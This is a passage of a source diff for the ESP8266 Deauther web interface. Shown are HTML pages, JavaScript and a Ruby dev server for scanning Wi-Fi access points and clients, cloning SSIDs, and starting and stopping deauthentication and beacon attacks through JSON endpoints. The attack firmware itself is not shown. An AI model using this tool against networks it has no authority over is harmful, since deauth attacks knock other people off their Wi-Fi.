0x00, 0x00, 0xF8, 0x00, 0x84, 0x00, 0xBC, 0x00, 0x40, // 223
0x00, 0x00, 0xE0, 0x00, 0xB8, 0x00, 0xB0, 0x00, 0xE0, // 224
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 225
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 226
0x00, 0x00, 0xD8, 0x00, 0xB8, 0x00, 0xB8, 0x00, 0xE0, // 227
0x00, 0x00, 0xD8, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 228
0x00, 0x00, 0xD0, 0x00, 0xBC, 0x00, 0xB0, 0x00, 0xE0, // 229
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xF0, 0x00, 0xB0, 0x00, 0x20, // 230
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x01, // 231
0x00, 0x00, 0x60, 0x00, 0xB8, 0x00, 0xB0, // 232
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 233
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB8, // 234
0x00, 0x00, 0x68, 0x00, 0xB0, 0x00, 0xB8, // 235
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 236
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 237
0x00, 0x00, 0x98, 0x00, 0xF8, 0x00, 0x88, // 238
0x00, 0x00, 0x98, 0x00, 0xF0, 0x00, 0x88, // 239
0x00, 0x00, 0x60, 0x00, 0x9C, 0x00, 0x98, 0x00, 0x74, // 240
0x00, 0x00, 0xF8, 0x00, 0x18, 0x00, 0x18, 0x00, 0xF0, // 241
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 242
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 243
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 244
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 245
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x90, 0x00, 0x68, // 246
0x20, 0x00, 0x20, 0x00, 0x68, 0x00, 0x20, // 247
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 248
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x80, 0x00, 0xF0, // 249
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 250
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x88, 0x00, 0xF0, // 251
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 252
0x10, 0x00, 0x60, 0x01, 0xC8, 0x00, 0x30, // 253
0x00, 0x00, 0xFC, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 254
0x10, 0x00, 0x68, 0x01, 0xC0, 0x00, 0x38 // 255
};
#endif

View File

@ -0,0 +1,66 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<a id="scanInfo" class="left labelFix">{a1}</a>
<button onclick="scan()" id="apScanStart" class="right button-primary">{button1}</button>
<p class="clear">
{p1} <span id="networksFound">0</span><br />
{p2} <span id="apMAC"></span><br />
<br />
<span id="selectAllBtns" style="visibility:'hidden'">
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button>
<br />
</span>
</p>
<table></table>
<p class="small">
<span class="red">{p3} </span><span class="bold">{p4}</span>
<br />
<br />
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/apscan.js"></script>
</body>
</html>

View File

@ -0,0 +1,125 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<p class="bold">{p1} <button onclick='cloneSelected()'>{button1}</button></p>
<ul id="selectedAPs"></ul>
<p class="bold">{p2}</p>
<ul id="selectedClients"></ul>
<table></table>
<label class="left">
<input type="number" id="randomIntrvl" value="5" min="1" max="65000"/>s
</label>
<button class="right" id="randomBtn" onclick="random()">{button2}</button>
<p class="clear">
<br />
<span class="red">{p3} </span><span class="bold">{p4}</span><br />
{p5}
</p>
<hr />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssid">{label1}</label>
</div>
<div class="col-6">
<input type="text" id="ssid" minlength="1" maxlength="32" placeholder="{placeholder1}" />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="num">{label2}</label>
</div>
<div class="col-6">
<input type="number" id="num" min="0" max="48" value="0" />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="enc">{label3}</label>
</div>
<div class="col-6">
<input type="checkbox" id="enc" name="enc" />
</div>
</div>
<div class="row">
<div class="col-12">
<button class="button-primary col-4" onclick="addSSID()">{button3}</button>
<hr />
<p class="left">{p6} <span id="ssidCounter">0/48</span></p>
<div class="right">
<button class="red" onclick="clearSSID()">{button4}</button>
<button onclick="randomSSID()">{button5}</button>
</div>
<table></table>
<button class="marginNull red" onclick="resetSSID()">{button6}</button>
<button class="marginNull button-primary right" onclick="saveSSID()">{button7}</button>
<p class="small" id="saved">{p7}</p>
<p>
<br />
<span class="bold">{p8}</span><br />
{p9}<br />
<br />
<span class="bold">{pa}</span><br />
{pb}<br />
<br />
<span class="bold">{pc}</span><br />
{pd}
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/attack.js"></script>
</body>
</html>

View File

@ -0,0 +1,32 @@
#
# this is a small ruby webserver for fast UI development
# make sure you have ruby and rack gem
#
# $ sudo gem install rack
#
# once installed, run this:
#
# $ rackup config.ru
#
# and access the given port on localhost
#
require "net/http"
require "uri"
# app root
@root = File.expand_path(File.dirname(__FILE__))
run Proc.new { |env|
request = Rack::Request.new(env)
path = Rack::Utils.unescape(env['PATH_INFO'])
index_file = @root + "#{path}/index.html"
if File.exists?(index_file)
# Return the index
[200, {'Content-Type' => 'text/html'}, [File.read(index_file)]]
else
# Pass the request to the directory app
Rack::Directory.new(@root).call(env)
end
}

View File

@ -0,0 +1,36 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<p class="centered bold"><br />{p1}</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

View File

@ -0,0 +1,47 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js" defer async></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<p class="centered bold">
{p1}<br />
{p2}<br />
<br />
<span class="warn">{p3}</span><br />
<br />
{p4}<br />
{p5}<br />
<br />
{p6}
<br />
{p7} <a href="https://github.com/spacehuhn/esp8266_deauther">github.com/spacehuhn/esp8266_deauther</a> {p8}<br />
<br />
<br />
<a class="button" href="apscan.html">{p9}</a>
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

View File

@ -0,0 +1,90 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<h2>{h2}</h2>
<p>
<span class="bold">Copyright (c) 2017 Stefan Kremser</span><br />
<br />
{p1} <a href="license">{a1}</a> {p2}<br />
{p3} <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">{a2}</a>.<br />
<br />
{p4}<br />
<br />
<span class="bold">{p5}</span>
</p>
<h2>Contributors</h2>
<p>
<a href="https://github.com/N0vaPixel" target="_blank">@N0vaPixel</a> (Aur&eacute;lien Hernandez)<br />
<a href="https://github.com/SaltyViper" target="_blank">@SaltyViper</a><br />
<a href="https://github.com/tobozo" target="_blank">@tobozo</a><br />
<a href="https://github.com/andrbmgi" target="_blank">@andrbmgi</a><br />
<a href="https://github.com/dalmirdasilva" target="_blank">@dalmirdasilva</a> (Dalmir da Silva)<br />
<a href="https://github.com/ericktedeschi" target="_blank">@ericktedeschi</a> (Erick Belluci Tedeschi)<br />
<a href="https://github.com/SamuelKlit" target="_blank">@SamuelKlit</a> (Samuel KS)<br />
<a href="https://github.com/schinfo" target="_blank">@schinfo</a> (Helmut)<br />
<a href="https://github.com/ajnavarro" target="_blank">@ajnavarro</a> (Antonio Navarro Perez)<br />
<a href="https://github.com/rubfi" target="_blank">@rubfi</a><br />
<br />
Also special thanks to <a href="https://github.com/deantonious" target="_blank">@deantonious</a> for the help with the webdesign!<br />
<br />
For more information go to <a href="https://github.com/spacehuhn/esp8266_deauther/graphs/contributors">contributors</a> on this projects GitHub page.
</p>
<h2>Credits</h2>
<p>
<a href="https://github.com/ThisIsDallas/Simple-Grid">SIMPLE GRID</a> - (C) ZACH COLE 2016<br />
<br />
{p6}<br />
Source: <a href="https://www.wireshark.org/tools/oui-lookup.html">https://www.wireshark.org/tools/oui-lookup.html</a><br />
{p7}<br />
</p>
<h2>{p8}</h2>
<p>
Web: spacehuhn.de<br />
GitHub: github.com/spacehuhn<br />
Twitter: @spacehuhn<br />
E-mail: mail@spacehuhn.de<br />
<br />
{p9} <a target="_blank" href="https://patreon.com/spacehuhn">patreon.com/spacehuhn</a>.<br />
<br />
{pa} <a target="_blank" href="https://www.tindie.com/stores/lspoplove/">tindie.com/stores/lspoplove</a>.
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

View File

@ -0,0 +1,100 @@
var table = document.getElementsByTagName('table')[0];
var networkInfo = getE('networksFound');
var scanInfo = getE('scanInfo');
var apMAC = getE('apMAC');
var startStopScan = getE('startStopScan');
var selectAllBtns = getE('selectAllBtns');
var autoScan = false;
function toggleScan(onoff) {
if (onoff && !autoScan) scanInfo.style.visibility = 'hidden';
else scanInfo.style.visibility = 'visible';
}
function compare(a, b) {
if (a.r > b.r) return -1;
if (a.r < b.r) return 1;
return 0;
}
function getStatus(enc, hid) {
/*
if (enc == 8) return "WPA*";
else if (enc == 4) return "WPA2";
else if (enc == 2) return "WPA";
else if (enc == 7) return "none";
else if (enc == 5) return "WEP";
*/
var buff = "";
if (enc != 7) buff += "&#128274; ";
if (hid == 1) buff += "&#128123; ";
return buff;
}
function getResults() {
toggleScan(true);
getResponse("APScanResults.json", function(responseText) {
var res;
try {
res = JSON.parse(responseText);
} catch(e) {
// wut
showMessage(_("JSON Parsing failed :-("), 2500);
return;
}
// TODO: more sanity checks on res && res.aps
res.aps = res.aps.sort(compare);
networkInfo.innerHTML = res.aps.length;
apMAC.innerHTML = "";
if (res.multiAPs == 1) selectAllBtns.style.visibility = 'visible';
else selectAllBtns.style.visibility = 'hidden';
var tr = '';
if (res.aps.length > 0) {
tr += '<tr><th>Ch</th><th>' + _('SSID') + '</th><th> </th><th>' + _('RSSI') + '</th><th>' + _('Select') + '</th></tr>';
}
for (var i = 0; i < res.aps.length; i++) {
if (res.aps[i].se == 1) tr += '<tr class="selected">';
else tr += '<tr>';
tr += '<td>' + res.aps[i].c + '</td>';
tr += '<td>' + escapeHTML(res.aps[i].ss) + '</td>';
tr += '<td>' + getStatus(res.aps[i].e, res.aps[i].h) + '</td>';
//tr += '<td>' + res.aps[i].r + ' <meter value="' + res.aps[i].r + '" max="-30" min="-100" low="-80" high="-60" optimum="-50"></meter></td>';
var _width = res.aps[i].r + 130;
var _color;
if(res.aps[i].r < -80) _color = "meter_red";
else if(res.aps[i].r < -60) _color = "meter_orange";
else _color = "meter_green";
tr += '<td><div class="meter_background"> <div class="meter_forground '+_color+'" style="width: '+_width+'%;"><div class="meter_value">' + res.aps[i].r + '</div></div> </div></td>';
if (res.aps[i].se) {
tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('deselect') + '</button></td>';
apMAC.innerHTML = res.aps[i].m;
}
else tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('select') + '</button></td>';
tr += '</tr>';
}
table.innerHTML = tr;
});
}
function scan() {
toggleScan(false);
getResponse("APScan.json", function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error APScan.json"));
toggleScan(true);
});
}
function select(num) {
getResponse("APSelect.json?num=" + num, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error APSelect.json"));
});
}
getResults();

View File

@ -0,0 +1,124 @@
var selectedAPs = getE("selectedAPs");
var selectedClients = getE("selectedClients");
var table = document.getElementsByTagName("table")[0];
var ssidList = document.getElementsByTagName("table")[1];
var saved = getE("saved");
var ssidCounter = getE("ssidCounter");
var ssid = getE("ssid");
var num = getE("num");
var enc = getE("enc");
var randomIntrvl = getE("randomIntrvl");
var randomBtn = getE("randomBtn");
var resultInterval;
var data = {};
function getResults() {
getResponse("attackInfo.json", function(responseText) {
var res;
try {
res = JSON.parse(responseText);
} catch(e) {
// wut
showMessage(_("JSON Parsing failed :-("), 2500);
return;
}
// TODO: more sanity checks on res && res.aps
var aps = "";
var clients = "";
var tr = "<tr><th>" + _('Attack') + "</th><th>" + _('Status') + "</th><th>" + _('Start/Stop') + "</th></tr>";
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + escapeHTML(res.aps[i]) + "</li>";
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + escapeHTML(res.clients[i]) + "</li>";
selectedAPs.innerHTML = aps;
selectedClients.innerHTML = clients;
if(res.randomMode == 1) randomBtn.innerHTML = _("Disable Random");
else randomBtn.innerHTML = _("Enable Random");
for (var i = 0; i < res.attacks.length; i++) {
if (res.attacks[i].running) tr += "<tr class='selected'>";
else tr += "<tr>";
tr += "<td>" + res.attacks[i].name + "</td>";
if (res.attacks[i].status == "ready") tr += "<td class='green status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
else tr += "<td class='red status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
if (res.attacks[i].running) tr += "<td><button class='select' onclick='startStop(" + i + ")'>stop</button></td>";
else tr += "<td><button class='select' onclick='startStop(" + i + ")'>" + _('start') + "</button></td>";
tr += "</tr>";
}
table.innerHTML = tr;
if(typeof res.ssid != 'undefined'){
data = res.ssid;
ssidCounter.innerHTML = data.length + "/48";
var tr = "<tr><th>"+ _('Name') + "</th><th></th><th>" + _('Del.') + "</th></tr>";
for (var i = 0; i < data.length; i++) {
tr += "<tr>";
tr += "<td>" + escapeHTML(data[i][0]) + "</td>";
if(data[i][1] == 1) tr += "<td>&#128274;</td>";
else tr += "<td></td>";
tr += '<td><button class="button-warn" onclick="deleteSSID(' + i + ')">x</button></td>';
tr += "</tr>";
}
ssidList.innerHTML = tr;
}
}, function() {
clearInterval(resultInterval);
showMessage(_("error loading attackInfo.json"));
});
}
function startStop(num) {
getResponse("attackStart.json?num=" + num, function(responseText) {
getE("status"+num).innerHTML = "loading";
if (responseText == "true") getResults();
else showMessage(_("response error attackStart.json"));
});
}
function addSSID() {
var _ssidName = ssid.value;
if(_ssidName.length > 0){
if(data.length >= 64) showMessage(_("SSID list full :("), 2500);
else{
saved.innerHTML = "";
getResponse("addSSID.json?ssid=" + _ssidName + "&num="+num.value + "&enc=" + enc.checked, getResults);
}
}
}
function cloneSelected() {
getResponse("cloneSelected.json", getResults);
}
function deleteSSID(num) {
saved.innerHTML = "";
getResponse("deleteSSID.json?num=" + num, getResults);
}
function randomSSID() {
saved.innerHTML = "";
getResponse("randomSSID.json", getResults);
}
function clearSSID() {
saved.innerHTML = "";
getResponse("clearSSID.json", getResults);
}
function saveSSID() {
saved.innerHTML = "saved";
getResponse("saveSSID.json", getResults);
}
function resetSSID() {
saved.innerHTML = "saved";
getResponse("resetSSID.json", getResults);
}
function random(){
getResponse("enableRandom.json?interval="+randomIntrvl.value, getResults);
}
getResults();
resultInterval = setInterval(getResults, 2000);

View File

@ -0,0 +1,66 @@
function getE(name){
return document.getElementById(name);
}
function escapeHTML(str) {
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\"/g, '&quot;')
.replace(/\'/g, '&#39;')
.replace(/\//g, '&#x2F;')
}
function showMessage(msg, closeAfter){
var errorE = getE("error");
errorE.innerHTML = msg;
errorE.classList.remove('hide');
errorE.classList.add('show');
if(closeAfter !== undefined){
setTimeout(function(){
errorE.innerHTML = "";
errorE.classList.remove('show');
errorE.classList.add('hide');
},closeAfter);
}
}
function getResponse(adr, callback, timeoutCallback, timeout, method){
if(timeoutCallback === undefined) {
timeoutCallback = function(){
showMessage(_("Timeout loading") +" "+adr);
};
}
if(timeout === undefined) timeout = 8000;
if(method === undefined) method = "GET";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4){
if(xmlhttp.status == 200){
callback(xmlhttp.responseText);
}
else timeoutCallback();
}
};
xmlhttp.open(method, adr, true);
xmlhttp.send();
xmlhttp.timeout = timeout;
xmlhttp.ontimeout = timeoutCallback;
xmlhttp.onabort = function(e) {
showMessage(_("ABORT")+" "+adr);
};
xmlhttp.onerror = function(e) {
showMessage(_("ERROR loading")+" "+adr +" :: "+ this.statusText);
};
}
function _(l10nid) {
return l10n.jsStrings[l10nid];
}

View File

@ -0,0 +1,244 @@
/* localstorage polyfill (supports Safari Private browsing mode /w fallback to cookie */
// Refer to https://gist.github.com/remy/350433
try {
// Test webstorage existence.
if (!window.localStorage || !window.sessionStorage) throw "exception";
// Test webstorage accessibility - Needed for Safari private browsing.
localStorage.setItem('storage_test', 1);
localStorage.removeItem('storage_test');
} catch(e) {
(function () {
var Storage = function (type) {
function createCookie(name, value, days) {
var date, expires;
if (days) {
date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
expires = "; expires="+date.toGMTString();
} else {
expires = "";
}
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=",
ca = document.cookie.split(';'),
i, c;
for (i=0; i < ca.length; i++) {
c = ca[i];
while (c.charAt(0)==' ') {
c = c.substring(1,c.length);
}
if (c.indexOf(nameEQ) == 0) {
return c.substring(nameEQ.length,c.length);
}
}
return null;
}
function setData(data) {
// Convert data into JSON and encode to accommodate for special characters.
data = encodeURIComponent(JSON.stringify(data));
// Create cookie.
if (type == 'session') {
createCookie(getSessionName(), data, 365);
} else {
createCookie('localStorage', data, 365);
}
}
function clearData() {
if (type == 'session') {
createCookie(getSessionName(), '', 365);
} else {
createCookie('localStorage', '', 365);
}
}
function getData() {
// Get cookie data.
var data = type == 'session' ? readCookie(getSessionName()) : readCookie('localStorage');
// If we have some data decode, parse and return it.
return data ? JSON.parse(decodeURIComponent(data)) : {};
}
function getSessionName() {
// If there is no name for this window, set one.
// To ensure it's unquie use the current timestamp.
if(!window.name) {
window.name = new Date().getTime();
}
return 'sessionStorage' + window.name;
}
// Initialise if there's already data.
var data = getData();
return {
length: 0,
clear: function () {
data = {};
this.length = 0;
clearData();
},
getItem: function (key) {
return data[key] === undefined ? null : data[key];
},
key: function (i) {
// not perfect, but works
var ctr = 0;
for (var k in data) {
if (ctr == i) return k;
else ctr++;
}
return null;
},
removeItem: function (key) {
delete data[key];
this.length--;
setData(data);
},
setItem: function (key, value) {
data[key] = value+''; // forces the value to a string
this.length++;
setData(data);
}
};
};
// Replace window.localStorage and window.sessionStorage with out custom
// implementation.
var localStorage = new Storage('local');
var sessionStorage = new Storage('session');
window.localStorage = localStorage;
window.sessionStorage = sessionStorage;
// For Safari private browsing need to also set the proto value.
window.localStorage.__proto__ = localStorage;
window.sessionStorage.__proto__ = sessionStorage;
})();
}
// returns "index" or "apscan" or "attack" .... etc
var page = location.href.split("/").slice(-1)[0].split('.')[0];
if(page=='') page = 'index';
var l10n = {};
var language = 'en';
storage = window.sessionStorage;// window.localStorage is too persistent for what it's worth
function fetchl10n(url) {
fetch(url)
.then((resp) => resp.json()) // Transform the data into json
.then(function(data) {
l10n = data;
console.log('saving l10n to storage');
storage.setItem('l10n', JSON.stringify(l10n));
loadl10n();
}).catch(function(error) {
// If there is any error you will catch them here
console.log(error);
alert('l10n FAIL: Could not fetch language file ' + url);
throw('Web UI l10n Failed, check your JSON files');
});
}
function loadl10n() {
// load language
var nav = document.querySelector('nav') || { innerHTML:'' };
var container = document.querySelector('.container');
var blocks = {
navHTML: nav.innerHTML,
containerHTML: container.innerHTML
}
if(blocks.navHTML!='') {
for(prop in l10n.navStrings) {
blocks.navHTML = blocks.navHTML.replace('{' + prop + '}', l10n.navStrings[prop]);
}
}
for(prop in l10n.pageStrings[page]) {
//console.log('parsing ' + prop);
blocks.containerHTML = blocks.containerHTML.replace('{' + prop + '}', l10n.pageStrings[page][prop]);
}
nav.innerHTML = blocks.navHTML;
container.innerHTML = blocks.containerHTML;
loadComplete();
}
function loadComplete() {
// l10n load complete, proceed to the page duty
const scriptcontext = document.querySelector('script[data-src]');
if(scriptcontext) {
scriptcontext.src = scriptcontext.getAttribute('data-src');
}
}
if(storage) {
console.log('storage available');
if(storageLang = storage.getItem('language')) {
language = storageLang;
console.log('got language from storage: ' + language);
} else {
// first load, save language to storage
console.log('storing language: ' + language);
storage.setItem('language', language);
}
if(storagel10n = storage.getItem('l10n')) {
console.log('got l10n from storage');
l10n = JSON.parse(storagel10n);
// best use case: language is session preloaded, no neet to fetch JSON
loadl10n();
} else {
// fetch it
console.log('will fetch l10n json');
let url = '/l10n/' + language + '.json';
fetchl10n(url);
}
} else {
// using default language
let url = '/l10n/' + language + '.json';
fetchl10n(url);
// alert("no cookie or local/session storage");
}
if(page=="settings") {
// enable language switcher
var flagbuttons = document.querySelectorAll('.flag');
for(i=0;i<flagbuttons.length;i++) {
var button = flagbuttons[i];
if(button.getAttribute('data-lang') == language) {
button.classList.add('selected');
}
button.addEventListener('click', function(evt) {
let language = evt.target.getAttribute('data-lang');
let url = '/l10n/' + language + '.json';
fetchl10n(url);
console.log('storing language: ' + language);
storage.setItem('language', language);
setTimeout(function() {
document.location.reload();
}, 1500);
}, false);
}
}

View File

@ -0,0 +1,99 @@
var ssid = getE('ssid');
var ssidHidden = getE('ssidHidden');
var password = getE('password');
var apChannel = getE('apChannel');
var macAp = getE('macAp');
var randMacAp = getE('randMacAp');
var apScanHidden = getE('apScanHidden');
var scanTime = getE('scanTime');
var timeout = getE('timeout');
var deauthReason = getE('deauthReason');
var packetRate = getE('packetRate');
var saved = getE('saved');
var clientNames = getE('clientNames');
var useLed = getE('useLed');
/*var channelHop = getE('channelHop');*/
var multiAPs = getE('multiAPs');
var multiAttacks = getE('multiAttacks');
var cMac = getE('cMac');
var cName = getE('cName');
var macInterval = getE('macInterval');
var beaconInterval = getE('beaconInterval');
var ledPin = getE('ledPin');
var res;
function getData() {
getResponse("settings.json", function(responseText) {
try {
res = JSON.parse(responseText);
} catch(e) {
showMessage(_("Error: reset the settings."));
return;
}
ssid.value = res.ssid;
ssidHidden.checked = res.ssidHidden;
password.value = res.password;
apChannel.value = res.apChannel;
macAp.value = res.macAp;
randMacAp.checked = res.randMacAp;
apScanHidden.checked = res.apScanHidden;
scanTime.value = res.clientScanTime;
timeout.value = res.attackTimeout;
deauthReason.value = res.deauthReason;
packetRate.value = res.attackPacketRate;
useLed.checked = res.useLed;
/*channelHop.checked = res.channelHop;*/
multiAPs.checked = res.multiAPs;
multiAttacks.checked = res.multiAttacks;
macInterval.value = res.macInterval;
beaconInterval.checked = res.beaconInterval;
ledPin.value = res.ledPin;
});
}
function saveSettings() {
saved.innerHTML = _("saving...");
var url = "settingsSave.json";
url += "?ssid=" + ssid.value;
url += "&ssidHidden=" + ssidHidden.checked;
url += "&password=" + password.value;
url += "&apChannel=" + apChannel.value;
url += "&macAp=" + macAp.value;
url += "&randMacAp=" + randMacAp.checked;
url += "&apScanHidden=" + apScanHidden.checked;
url += "&scanTime=" + scanTime.value;
url += "&timeout=" + timeout.value;
url += "&deauthReason=" + deauthReason.value;
url += "&packetRate=" + packetRate.value;
url += "&useLed=" + useLed.checked;
/*url += "&channelHop=" + channelHop.checked;*/
url += "&multiAPs="+multiAPs.checked;
url += "&multiAttacks="+multiAttacks.checked;
url += "&macInterval="+macInterval.value;
url += "&beaconInterval="+beaconInterval.checked;
url += "&ledPin="+ledPin.value;
getResponse(url, function(responseText) {
if (responseText == "true") {
getData();
saved.innerHTML = _("saved");
}
else showMessage(_("response error settingsSave.json"));
});
}
function resetSettings() {
getResponse("settingsReset.json", function(responseText) {
if (responseText == "true") {
getData();
saved.innerHTML = _("saved");
}
else showMessage(_("response error settingsReset.json"));
});
}
function restart(){
getResponse("restartESP.json?", function(){});
}
getData();

View File

@ -0,0 +1,154 @@
var table = document.getElementsByTagName('table')[0];
var scanBtn = getE("startScan");
var scanTime = getE("scanTime");
var clientsFound = getE("clientsFound");
var scanStatus = getE("clientScanStatus");
var clientNames = getE('clientNames');
var nameListTable = getE('nameList');
var res;
function compare(a, b) {
if (a.p > b.p) return -1;
if (a.p < b.p) return 1;
return 0;
}
function toggleBtn(onoff) {
if (onoff) {
scanStatus.style.visibility = 'visible';
} else {
scanStatus.style.visibility = 'hidden';
}
}
function getResults() {
getResponse("ClientScanResults.json", function(responseText) {
try{
res = JSON.parse(responseText);
}catch(e){
showMessage(_("Error: clear the client list."));
return;
}
res.clients = res.clients.sort(compare);
clientsFound.innerHTML = res.clients.length;
var tr = '';
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>' + _('Name') + '</th><th>MAC</th><th>AP</th><th>' + _('Select') + '</th></tr>';
for (var i = 0; i < res.clients.length; i++) {
if (res.clients[i].s == 1) tr += '<tr class="selected">';
else tr += '<tr>';
tr += '<td>' + res.clients[i].p + '</td>';
if(res.clients[i].l >= 0) tr += '<td>' + escapeHTML(res.clients[i].n) + ' <a onclick="editNameList(' + res.clients[i].l + ')"></a></td>';
else tr += '<td><a onclick="setName(' + res.clients[i].i + ')">' + _('set') + '</a></td>';
if(res.clients[i].v.length > 1) tr += '<td>' + res.clients[i].v + res.clients[i].m.substring(8, 20) + '</td>';
else tr += '<td>' + res.clients[i].m + '</td>';
tr += '<td>' + escapeHTML(res.clients[i].a) + '</td>';
if (res.clients[i].s == 1) tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('deselect') + '</button></td>';
